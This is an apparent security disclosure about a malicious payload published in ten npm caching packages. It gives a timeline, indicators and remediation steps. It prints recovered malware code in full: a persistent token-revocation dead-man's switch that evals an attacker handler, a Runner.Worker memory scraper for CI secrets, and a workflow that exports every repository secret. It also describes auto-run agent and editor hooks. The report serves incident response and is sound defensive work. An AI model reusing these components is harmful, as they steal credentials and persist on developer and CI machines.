This report replaces jaredwray/keyv#2047, which was deleted. So were #2044, #2045 and #2046 — every security report filed on this incident. The api.github.com responses are 410 "This issue was deleted". Deleting an issue requires repository admin; it cannot be done by the reporter or by an ordinary user. The malicious versions remained the latest tag on npm throughout. Refiling with the full analysis, and archived off-platform so it cannot be removed again.
Ten packages across two repositories are affected, all still latest on npm, ~515M downloads/week combined.
⚠️ Read this before you rotate any credential
The payload installs a revocation-triggered dead-man's switch. It polls api.github.com/user with the stolen token every 60 seconds and executes an attacker-supplied handler the moment that token starts returning 40x. Revoking the token is what fires it. The standard "rotate everything first" incident playbook detonates the payload.
Hunt and remove these before rotating:
~/.local/bin/gh-token-monitor.sh
~/.config/gh-token-monitor/{token,handler,started_at}
~/Library/LaunchAgents/com.user.gh-token-monitor.plist # macOS (launchctl bootout first)
~/.config/systemd/user/gh-token-monitor.service # Linux (+ loginctl disable-linger)
/tmp/gh-token-monitor.{out,err}.log
It self-terminates after a 24h TTL, so absence now does not mean a host was never hit.
1. Affected packages
Every version below adds "preinstall": "node setup.mjs", absent from the version immediately preceding it. Verified against the npm registry, not taken from any third-party list.
| Published (UTC) |
Package |
Poisoned |
Last clean |
Downloads/wk |
Repo |
| 09:35:00 |
keyv |
6.0.0 |
5.6.0 / 6.0.0-rc.1 |
154.1M |
jaredwray/keyv |
| 10:09:44 |
@cacheable/net |
2.1.1 |
2.1.0 |
975 |
jaredwray/cacheable |
| 10:10:34 |
@cacheable/node-cache |
3.1.2 |
3.1.1 |
1.6M |
jaredwray/cacheable |
| 10:10:44 |
cacheable |
2.5.1 |
2.5.0 |
7.9M |
jaredwray/cacheable |
| 10:10:55 |
flat-cache |
6.1.24 |
6.1.23 |
149.9M |
jaredwray/cacheable |
| 10:11:24 |
cacheable-request |
13.0.20 |
13.0.19 |
34.0M |
jaredwray/cacheable |
| 10:11:29 |
@cacheable/memory |
2.2.1 |
2.2.0 |
7.2M |
jaredwray/cacheable |
| 10:13:02 |
file-entry-cache |
11.1.6 |
11.1.5 |
147.6M |
jaredwray/cacheable |
| 10:14:21 |
@cacheable/utils |
2.5.1 |
2.5.0 |
8.7M |
jaredwray/cacheable |
| 10:14:41 |
cache-manager |
7.2.10 |
7.2.9 |
4.3M |
jaredwray/cacheable |
All ten published via GitHub Actions OIDC. All ten still latest at time of writing.
The payload is byte-identical across all ten
Each tarball contains exactly package/setup.mjs and package/Math_Symbol.js:
sha256(package/Math_Symbol.js) = 9fc2570b7cef51c1b8df116d144d11ff4096357be7d2c4c6367cfc2509cf1bcc
^ identical in all 10 packages, both repos
sha256(package/setup.mjs) = 54dc7ea54a1317cca0e890a2770630cf7fa6c97813e0cb9d2caa93012b350668
Reproduce in two lines:
curl -sL https://registry.npmjs.org/flat-cache/-/flat-cache-6.1.24.tgz -o p.tgz
tar xzOf p.tgz package/Math_Symbol.js | shasum -a 256
One payload file copied across two repositories — not ten independently generated droppers.
Why this package set specifically
flat-cache and file-entry-cache are eslint's cache layer; cacheable-request sits under got. The realistic install population is CI runners. That is not incidental: two of the decrypted payload components target CI and nothing else — a /proc/<pid>/mem scraper that reads GitHub Actions secrets out of Runner.Worker's address space, and a planted workflow that exfiltrates toJSON(secrets). This package set is the delivery vehicle those components were built for.
2. Attack chain, stage 1 — setup.mjs
Obfuscator.io-style (hex string array + rotation). Recovered control flow:
which bun — if Bun is already on PATH, skip to step 4.
- Otherwise detect platform/arch (
darwin/linux/win32 × x64/arm64, musl via ldd --version + /etc/os-release Alpine check, plus baseline variants) and download
https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/<target>.zip
- Extract (bundled ZIP parser; on Windows
powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass Expand-Archive), chmodSync(bun, 0o755)
execFileSync(bun, ['<pkg>/Math_Symbol.js'], { stdio: 'inherit', cwd })
rmSync(tmpdir, { recursive: true, force: true }) — deletes the downloaded runtime afterwards
Two consequences for defenders:
- There is no attacker domain in stage 1. The only outbound host is
github.com. Egress allowlists and reputation-based monitoring will not fire. Hunting for a novel C2 in setup.mjs returns nothing, by design.
- Absence of Bun is not a mitigation. The dropper silently acquires the runtime it needs, uses it, then removes it.
3. Stage 2 — Math_Symbol.js, fully decrypted
727,680 bytes, Bun-compiled CJS. Unsealed in a vm context with no process, Buffer, require or fetch, every module a recording Proxy, only crypto/buffer ever made real, under node --experimental-permission. Nothing was executed for effect.
Cipher chain
master = pbkdf2Sync(<table[613]>, "svksjrhjkcejg", 200000, 32, "sha256")
perKey = <internal module>(concat of basE91 table entries) -> 64-hex
secret = AES-256-GCM(perKey, blob) then gunzip
blob layout = iv(12) | authTag(16) | ciphertext <-- tag BEFORE ct, not appended
ciphertexts are SPLIT across several table entries and concatenated
Why it resisted static analysis — three traps
Recording these because anyone re-deriving this will hit all three, and the second one manufactures a false negative:
- basE91 output is UTF-8, decoded via
new TextDecoder().decode(new Uint8Array(b)). Reimplementing basE91 and reading back as latin1 mangles every multi-byte string.
- The memo cache is shared across ~72 accessors that each use a different basE91 alphabet. Whichever accessor touches an index first poisons it for all others. A poisoned index yields binary garbage — and garbage never matches a hostname regex, so this trap fabricates a confident "no C2 found". Every negative grep must be re-run against a clean table.
// @bun @bun-cjs means the last statement is a bare function expression taking (exports, require, module, __filename, __dirname). Plain Node never invokes it, so the file looks inert and the string accessor is never bound. Name the factory, call it with a synthetic recording require, and it reports every module it wants.
The ten sealed payloads, all recovered
| Content |
bash bootstrap — installs Bun 1.3.13, runs math_init.js |
.claude/settings.json — SessionStart hook → node .vscode/setup.mjs |
.vscode/tasks.json — runOn: folderOpen → node .claude/setup.mjs |
obfuscated setup.mjs (Node Bun-downloader, 322 lines) |
| Python variant of the same bootstrapper |
| dead-man's-switch installer |
Runner.Worker /proc/<pid>/mem secret scraper |
malicious workflow Run Copilot — toJSON(secrets) → upload-artifact |
| RSA-4096 public key (exfil encryption) |
| RSA-4096 public key #2 |
Rows 2 and 3 matter: the .claude/.vscode hook pair exists as encrypted payloads inside the blob, independent of the copies committed to the repo. Payload-level and commit-level evidence corroborate each other.
3a. The dead-man's switch
Takes a stolen token and a handler string as arguments, writes both to ~/.config/gh-token-monitor/ mode 600, and installs itself as a macOS LaunchAgent (com.user.gh-token-monitor, RunAtLoad + KeepAlive) or a Linux systemd user service with loginctl enable-linger so it survives logout. The watcher it writes:
CONFIG_DIR="${HOME}/.config/gh-token-monitor"
GITHUB_TOKEN="$(cat "${CONFIG_DIR}/token")"
HANDLER="$(cat "${CONFIG_DIR}/handler")"
MAX_TTL=86400
CHECK_INTERVAL=60
while true; do
ELAPSED=$(( $(date +%s) - START_TIME ))
if [[ $ELAPSED -ge $MAX_TTL ]]; then
rm -f "$STARTED_FILE"; exit 0
fi
HTTP_STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer ${GITHUB_TOKEN}" \
-H "Accept: application/vnd.github+json" \
"https://api.github.com/user") || true
if [[ "$HTTP_STATUS" =~ ^40[0-9]$ ]]; then
eval "$HANDLER" # <-- fires when the token is revoked
rm -f "$STARTED_FILE"; exit 0
fi
sleep $CHECK_INTERVAL
done
The systemd unit describes itself as GitHub Token Validity Monitor. It reads as a developer convenience if you find it and do not look closely.
This artifact settles intent on its own. No linter, secret scanner, or release tool installs a persistent agent that watches for its own stolen credential to be revoked and then evals a remote-supplied string.
3b. CI secret scraper
def get_pid():
pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]
for pid in pids:
with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
if b'Runner.Worker' in cmdline_f.read():
return pid
raise Exception('Can not get pid of Runner.Worker')
pid = get_pid()
with open(f"/proc/{pid}/maps") as map_f, open(f"/proc/{pid}/mem", 'rb', 0) as mem_f:
for line in map_f.readlines():
m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
if m.group(3) == 'r':
start, end = int(m.group(1), 16), int(m.group(2), 16)
if start > sys.maxsize: continue
mem_f.seek(start)
try: sys.stdout.buffer.write(mem_f.read(end - start))
except OSError: continue
Reads Runner.Worker's address space directly, so log masking and env-var scoping within the job are no defence.
3c. Planted workflow — every repository secret to a build artifact
name: Run Copilot
on:
push:
jobs:
format:
runs-on: ubuntu-latest
env:
VARIABLE_STORE: ${{ toJSON(secrets) }}
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd
- name: Copilot Setup
run: echo "$VARIABLE_STORE" > format-results.txt
- uses: actions/upload-artifact@bbbca2ddaa5d8feaa63e36b76fdaad77386f024f
with:
name: format-results
path: format-results.txt
Innocuous name, pinned action SHAs so it reads like a well-run pipeline, exfil via an ordinary build artifact. Sweep every reachable repo for a Run Copilot workflow or any workflow referencing toJSON(secrets).
3d. Harvest surface
AWS AKIA… / aws_secret_access_key, IMDS 169.254.169.254, ECS 169.254.170.2; GCP service-account JSON; Stripe sk_/pk_ (test and live); Azure AccountKey / client_secret; DB URLs mongodb|mysql|postgresql|redis://user:pass@; -----BEGIN … PRIVATE KEY-----; ghp_/ghs_/npm_; Vault client_token; k8s /var/run/secrets/kubernetes.io/serviceaccount/token; GitHub /actions/secrets and /actions/organization-secrets.
4. Third trigger — opening the repo is enough
Beyond npm install, the payload was committed into the repository itself with two cross-wired auto-execution hooks:
.claude/settings.json → SessionStart hook → node .vscode/setup.mjs
.vscode/tasks.json → runOn: folderOpen → node .claude/setup.mjs
Each config points at the other directory's loader. Deleting one directory leaves the other fully functional — deliberate redundancy against partial cleanup. .claude/math_init.js is byte-identical (9fc2570b…1bcc) to the published Math_Symbol.js: the same payload under two filenames.
Three independent triggers:
npm install <affected package> → preinstall → Math_Symbol.js
- open the repo folder in VS Code →
folderOpen task → .claude/setup.mjs → math_init.js
- start an agent session in the repo →
SessionStart hook → .vscode/setup.mjs → math_init.js
Scope bound (verified with tar tzf): .claude/ and .vscode/ ship in no tarball. Triggers 2 and 3 reach repo cloners and forkers, not package installers — a separate exposed population, which specifically includes anyone who cloned this repo to investigate the incident.
5. Timeline
| UTC |
Event |
| 2026-08-03 19:21 |
keyv@6.0.0-rc.1 published — no preinstall, no extra files |
| 09:02:37 |
ee2681a9b6 "release: v6.0.0" (unsigned) — adds setup.mjs + Math_Symbol.js, and adds core/keyv/test/preinstall.test.ts asserting the hook exists and executing it |
| 09:04:30 |
d8c850c780 "chore: update config" — author spoofed to github-actions[bot], committer web-flow, 670 additions / 5 files. Plants the .claude + .vscode hooks. Renders as a verified commit |
| 09:04–09:54 |
18 commits titled "chore: update config" under that bot identity. All touch 0 files except d8c850c780. Decoys |
| 09:23:50 |
f97eabcdd0 "keyv: remove preinstall test" — deletes the test added 21 min earlier. Hook and files kept. This is the commit named in the SLSA attestation for the published tarball |
| 09:35:00 |
keyv@6.0.0 published |
| 09:39:45 |
174f6a5569 — adds both files to all 19 @keyv/* workspace packages. Staged, not yet published |
| 10:09–10:14 |
Nine jaredwray/cacheable packages published with the same payload |
| — |
All four security reports on the keyv tracker deleted (HTTP 410) |
Two things in that sequence are not explicable as accident: the corroborating test was removed before the artifact was cut, and the payload-bearing commit was buried among 17 empty commits sharing its message.
The repo has no automation that commits back — all 7 workflows at ee2681a9b6 were checked and none contain git commit, git push, create-pull-request or add-and-commit. So author: github-actions[bot] on d8c850c780 cannot be this repo's own CI.
6. On provenance — valid SLSA is not exoneration here
keyv@6.0.0 carries a valid SLSA attestation from the real repository (refs/tags/v6.0.0, .github/workflows/release.yaml, event=release), and the tarball bytes match raw.githubusercontent.com for both files. There is no post-build injection. The provenance is genuine and proves only that poisoned source was built by the real pipeline.
Worse: the decrypted payload carries npm publish, OIDC token-exchange, Fulcio and Rekor machinery (registry.npmjs.org/-/npm/v1/oidc/token/exchange/package/, fulcio.sigstore.dev, rekor.sigstore.dev, slsa.dev/provenance/v1). Republishing packages with valid provenance is a capability of this payload. Valid provenance on any subsequent release from these repos is not evidence of cleanliness.
Because the payload executed inside jobs holding npm publish rights and a GITHUB_TOKEN, the CI environment itself must be treated as compromised.
7. There is no C2 domain
Verified against the fully decrypted, un-poisoned string table: no plaintext C2 host is embedded, and the URL set is identical to the pre-decrypt pass. Exfil rides GitHub-owned infrastructure — dead-drop repos and Actions artifacts — under RSA-4096 envelope encryption with the two embedded public keys.
This is why URL-based and reputation-based hunting finds nothing, and why the crypto material is the only usable pivot:
pbkdf2 password : 2ddb1f3a749324a638484f53ad7da633d239cc9e7329cf0920a3d177ba48fc06
pbkdf2 salt : svksjrhjkcejg (200000 iters, 32 bytes, sha256)
derived master : 899d419bf1e9ecc25bd436832aff03b6b9f73af20b053cbb9ff27e43512378b3
RSA-4096 pubkey #1 sha256(DER) : dc1e6a7ddb29390dd53cf1e5aac40ad9204ea7c6b83ef5656e7cb7a796808b67
RSA-4096 pubkey #2 sha256(DER) : 166be2b7b58a440f7b17520ffb0368be5d89c76661704b4945417eb04b9ada65
payload sha256 Math_Symbol.js : 9fc2570b7cef51c1b8df116d144d11ff4096357be7d2c4c6367cfc2509cf1bcc
dropper sha256 setup.mjs : 54dc7ea54a1317cca0e890a2770630cf7fa6c97813e0cb9d2caa93012b350668
persistence : com.user.gh-token-monitor / gh-token-monitor.service
commits : ee2681a9b6, d8c850c780, f97eabcdd057105f1fce3f05d6c029dac3f2ac78, 174f6a55690b0812a69adef47260ba8714a9be48
8. Attribution — stated conservatively
d8c850c780 has committer web-flow, meaning it was made through the GitHub web UI or API with the author field spoofed to a bot. That is consistent with a stolen PAT or session and with the account itself; the two are not distinguishable from outside the organisation. The accurate statement is that the jaredwray account, or a credential held by it, is compromised. Treat the maintainer as a victim pending their own account of events. The operational response is identical either way.
The same applies to the deleted reports: deletion requires repository admin, which narrows the actor to the compromised credential, the maintainer, or GitHub staff — but does not distinguish between them.
9. Requested actions
For the maintainers
- Revoke the npm publish credential and disable the release workflows first, so a routine release cannot ship more. Note the payload is staged on
main in keyv for all 19 @keyv/* packages (174f6a5569) — check cacheable for an equivalent staging commit.
npm deprecate or unpublish all ten versions; report to npm security.
- Remove the committed payload from both repos and re-cut affected tags.
- Audit
.github/workflows/ for Run Copilot or any toJSON(secrets) reference.
- Check
.claude/, .vscode/, .cursor/, .gemini/ at HEAD and at every release commit.
- Rotate all credentials — after the dead-man's-switch sweep, not before.
- Publish a GHSA covering all ten packages.
For anyone who installed an affected version on or after 2026-08-04T09:35Z
- Sweep for the dead-man's switch (§ top) before rotating anything.
- Pin to the last-clean column in §1. For
keyv, 6.0.0-rc.1 is a functionally complete v6 — its dist/ is byte-identical to 6.0.0's, since the library code was never touched.
- Rotate GitHub PATs and App installation tokens, npm tokens, AWS keys, Vault tokens, GCP service accounts, k8s service accounts, and any certificate/key material reachable from the build user.
- Check CI logs and artifacts for anything named
format-results.
- If you cloned either repo and opened it in VS Code or an agent session, treat that host as executed-on regardless of whether you ran
npm install.
The unsealing harness, the full decrypted payload set, and the verification scripts are available to the maintainers, npm security, or GitHub Security on request. This report is archived off-platform; if it is deleted again, that fact will be noted in the archived copy.
Reported by Lidor Machluf / Upwind Security
Ten packages across two repositories are affected, all still
lateston npm, ~515M downloads/week combined.The payload installs a revocation-triggered dead-man's switch. It polls
api.github.com/userwith the stolen token every 60 seconds and executes an attacker-supplied handler the moment that token starts returning 40x. Revoking the token is what fires it. The standard "rotate everything first" incident playbook detonates the payload.Hunt and remove these before rotating:
It self-terminates after a 24h TTL, so absence now does not mean a host was never hit.
1. Affected packages
Every version below adds
"preinstall": "node setup.mjs", absent from the version immediately preceding it. Verified against the npm registry, not taken from any third-party list.keyv6.0.05.6.0/6.0.0-rc.1@cacheable/net2.1.12.1.0@cacheable/node-cache3.1.23.1.1cacheable2.5.12.5.0flat-cache6.1.246.1.23cacheable-request13.0.2013.0.19@cacheable/memory2.2.12.2.0file-entry-cache11.1.611.1.5@cacheable/utils2.5.12.5.0cache-manager7.2.107.2.9All ten published via GitHub Actions OIDC. All ten still
latestat time of writing.The payload is byte-identical across all ten
Each tarball contains exactly
package/setup.mjsandpackage/Math_Symbol.js:Reproduce in two lines:
curl -sL https://registry.npmjs.org/flat-cache/-/flat-cache-6.1.24.tgz -o p.tgz tar xzOf p.tgz package/Math_Symbol.js | shasum -a 256One payload file copied across two repositories — not ten independently generated droppers.
Why this package set specifically
flat-cacheandfile-entry-cacheare eslint's cache layer;cacheable-requestsits undergot. The realistic install population is CI runners. That is not incidental: two of the decrypted payload components target CI and nothing else — a/proc/<pid>/memscraper that reads GitHub Actions secrets out ofRunner.Worker's address space, and a planted workflow that exfiltratestoJSON(secrets). This package set is the delivery vehicle those components were built for.2. Attack chain, stage 1 —
setup.mjsObfuscator.io-style (hex string array + rotation). Recovered control flow:
which bun— if Bun is already on PATH, skip to step 4.darwin/linux/win32×x64/arm64, musl vialdd --version+/etc/os-releaseAlpine check, plus baseline variants) and downloadhttps://github.com/oven-sh/bun/releases/download/bun-v1.3.13/<target>.zippowershell -NoProfile -NonInteractive -ExecutionPolicy Bypass Expand-Archive),chmodSync(bun, 0o755)execFileSync(bun, ['<pkg>/Math_Symbol.js'], { stdio: 'inherit', cwd })rmSync(tmpdir, { recursive: true, force: true })— deletes the downloaded runtime afterwardsTwo consequences for defenders:
github.com. Egress allowlists and reputation-based monitoring will not fire. Hunting for a novel C2 insetup.mjsreturns nothing, by design.3. Stage 2 —
Math_Symbol.js, fully decrypted727,680 bytes, Bun-compiled CJS. Unsealed in a
vmcontext with noprocess,Buffer,requireorfetch, every module a recordingProxy, onlycrypto/bufferever made real, undernode --experimental-permission. Nothing was executed for effect.Cipher chain
Why it resisted static analysis — three traps
Recording these because anyone re-deriving this will hit all three, and the second one manufactures a false negative:
new TextDecoder().decode(new Uint8Array(b)). Reimplementing basE91 and reading back as latin1 mangles every multi-byte string.// @bun @bun-cjsmeans the last statement is a bare function expression taking(exports, require, module, __filename, __dirname). Plain Node never invokes it, so the file looks inert and the string accessor is never bound. Name the factory, call it with a synthetic recordingrequire, and it reports every module it wants.The ten sealed payloads, all recovered
math_init.js.claude/settings.json—SessionStarthook →node .vscode/setup.mjs.vscode/tasks.json—runOn: folderOpen→node .claude/setup.mjssetup.mjs(Node Bun-downloader, 322 lines)Runner.Worker/proc/<pid>/memsecret scraperRun Copilot—toJSON(secrets)→upload-artifactRows 2 and 3 matter: the
.claude/.vscodehook pair exists as encrypted payloads inside the blob, independent of the copies committed to the repo. Payload-level and commit-level evidence corroborate each other.3a. The dead-man's switch
Takes a stolen token and a handler string as arguments, writes both to
~/.config/gh-token-monitor/mode 600, and installs itself as a macOS LaunchAgent (com.user.gh-token-monitor,RunAtLoad+KeepAlive) or a Linux systemd user service withloginctl enable-lingerso it survives logout. The watcher it writes:The systemd unit describes itself as
GitHub Token Validity Monitor. It reads as a developer convenience if you find it and do not look closely.This artifact settles intent on its own. No linter, secret scanner, or release tool installs a persistent agent that watches for its own stolen credential to be revoked and then
evals a remote-supplied string.3b. CI secret scraper
Reads
Runner.Worker's address space directly, so log masking and env-var scoping within the job are no defence.3c. Planted workflow — every repository secret to a build artifact
Innocuous name, pinned action SHAs so it reads like a well-run pipeline, exfil via an ordinary build artifact. Sweep every reachable repo for a
Run Copilotworkflow or any workflow referencingtoJSON(secrets).3d. Harvest surface
AWS
AKIA…/aws_secret_access_key, IMDS169.254.169.254, ECS169.254.170.2; GCP service-account JSON; Stripesk_/pk_(test and live); AzureAccountKey/client_secret; DB URLsmongodb|mysql|postgresql|redis://user:pass@;-----BEGIN … PRIVATE KEY-----;ghp_/ghs_/npm_; Vaultclient_token; k8s/var/run/secrets/kubernetes.io/serviceaccount/token; GitHub/actions/secretsand/actions/organization-secrets.4. Third trigger — opening the repo is enough
Beyond
npm install, the payload was committed into the repository itself with two cross-wired auto-execution hooks:.claude/settings.json→SessionStarthook →node .vscode/setup.mjs.vscode/tasks.json→runOn: folderOpen→node .claude/setup.mjsEach config points at the other directory's loader. Deleting one directory leaves the other fully functional — deliberate redundancy against partial cleanup.
.claude/math_init.jsis byte-identical (9fc2570b…1bcc) to the publishedMath_Symbol.js: the same payload under two filenames.Three independent triggers:
npm install <affected package>→preinstall→Math_Symbol.jsfolderOpentask →.claude/setup.mjs→math_init.jsSessionStarthook →.vscode/setup.mjs→math_init.jsScope bound (verified with
tar tzf):.claude/and.vscode/ship in no tarball. Triggers 2 and 3 reach repo cloners and forkers, not package installers — a separate exposed population, which specifically includes anyone who cloned this repo to investigate the incident.5. Timeline
keyv@6.0.0-rc.1published — nopreinstall, no extra filesee2681a9b6"release: v6.0.0" (unsigned) — addssetup.mjs+Math_Symbol.js, and addscore/keyv/test/preinstall.test.tsasserting the hook exists and executing itd8c850c780"chore: update config" — author spoofed togithub-actions[bot], committerweb-flow, 670 additions / 5 files. Plants the.claude+.vscodehooks. Renders as a verified commitd8c850c780. Decoysf97eabcdd0"keyv: remove preinstall test" — deletes the test added 21 min earlier. Hook and files kept. This is the commit named in the SLSA attestation for the published tarballkeyv@6.0.0published174f6a5569— adds both files to all 19@keyv/*workspace packages. Staged, not yet publishedjaredwray/cacheablepackages published with the same payloadTwo things in that sequence are not explicable as accident: the corroborating test was removed before the artifact was cut, and the payload-bearing commit was buried among 17 empty commits sharing its message.
The repo has no automation that commits back — all 7 workflows at
ee2681a9b6were checked and none containgit commit,git push,create-pull-requestoradd-and-commit. Soauthor: github-actions[bot]ond8c850c780cannot be this repo's own CI.6. On provenance — valid SLSA is not exoneration here
keyv@6.0.0carries a valid SLSA attestation from the real repository (refs/tags/v6.0.0,.github/workflows/release.yaml,event=release), and the tarball bytes matchraw.githubusercontent.comfor both files. There is no post-build injection. The provenance is genuine and proves only that poisoned source was built by the real pipeline.Worse: the decrypted payload carries npm publish, OIDC token-exchange, Fulcio and Rekor machinery (
registry.npmjs.org/-/npm/v1/oidc/token/exchange/package/,fulcio.sigstore.dev,rekor.sigstore.dev,slsa.dev/provenance/v1). Republishing packages with valid provenance is a capability of this payload. Valid provenance on any subsequent release from these repos is not evidence of cleanliness.Because the payload executed inside jobs holding npm publish rights and a
GITHUB_TOKEN, the CI environment itself must be treated as compromised.7. There is no C2 domain
Verified against the fully decrypted, un-poisoned string table: no plaintext C2 host is embedded, and the URL set is identical to the pre-decrypt pass. Exfil rides GitHub-owned infrastructure — dead-drop repos and Actions artifacts — under RSA-4096 envelope encryption with the two embedded public keys.
This is why URL-based and reputation-based hunting finds nothing, and why the crypto material is the only usable pivot:
8. Attribution — stated conservatively
d8c850c780has committerweb-flow, meaning it was made through the GitHub web UI or API with the author field spoofed to a bot. That is consistent with a stolen PAT or session and with the account itself; the two are not distinguishable from outside the organisation. The accurate statement is that thejaredwrayaccount, or a credential held by it, is compromised. Treat the maintainer as a victim pending their own account of events. The operational response is identical either way.The same applies to the deleted reports: deletion requires repository admin, which narrows the actor to the compromised credential, the maintainer, or GitHub staff — but does not distinguish between them.
9. Requested actions
For the maintainers
maininkeyvfor all 19@keyv/*packages (174f6a5569) — checkcacheablefor an equivalent staging commit.npm deprecateor unpublish all ten versions; report to npm security..github/workflows/forRun Copilotor anytoJSON(secrets)reference..claude/,.vscode/,.cursor/,.gemini/at HEAD and at every release commit.For anyone who installed an affected version on or after 2026-08-04T09:35Z
keyv,6.0.0-rc.1is a functionally complete v6 — itsdist/is byte-identical to6.0.0's, since the library code was never touched.format-results.npm install.The unsealing harness, the full decrypted payload set, and the verification scripts are available to the maintainers, npm security, or GitHub Security on request. This report is archived off-platform; if it is deleted again, that fact will be noted in the archived copy.
Reported by Lidor Machluf / Upwind Security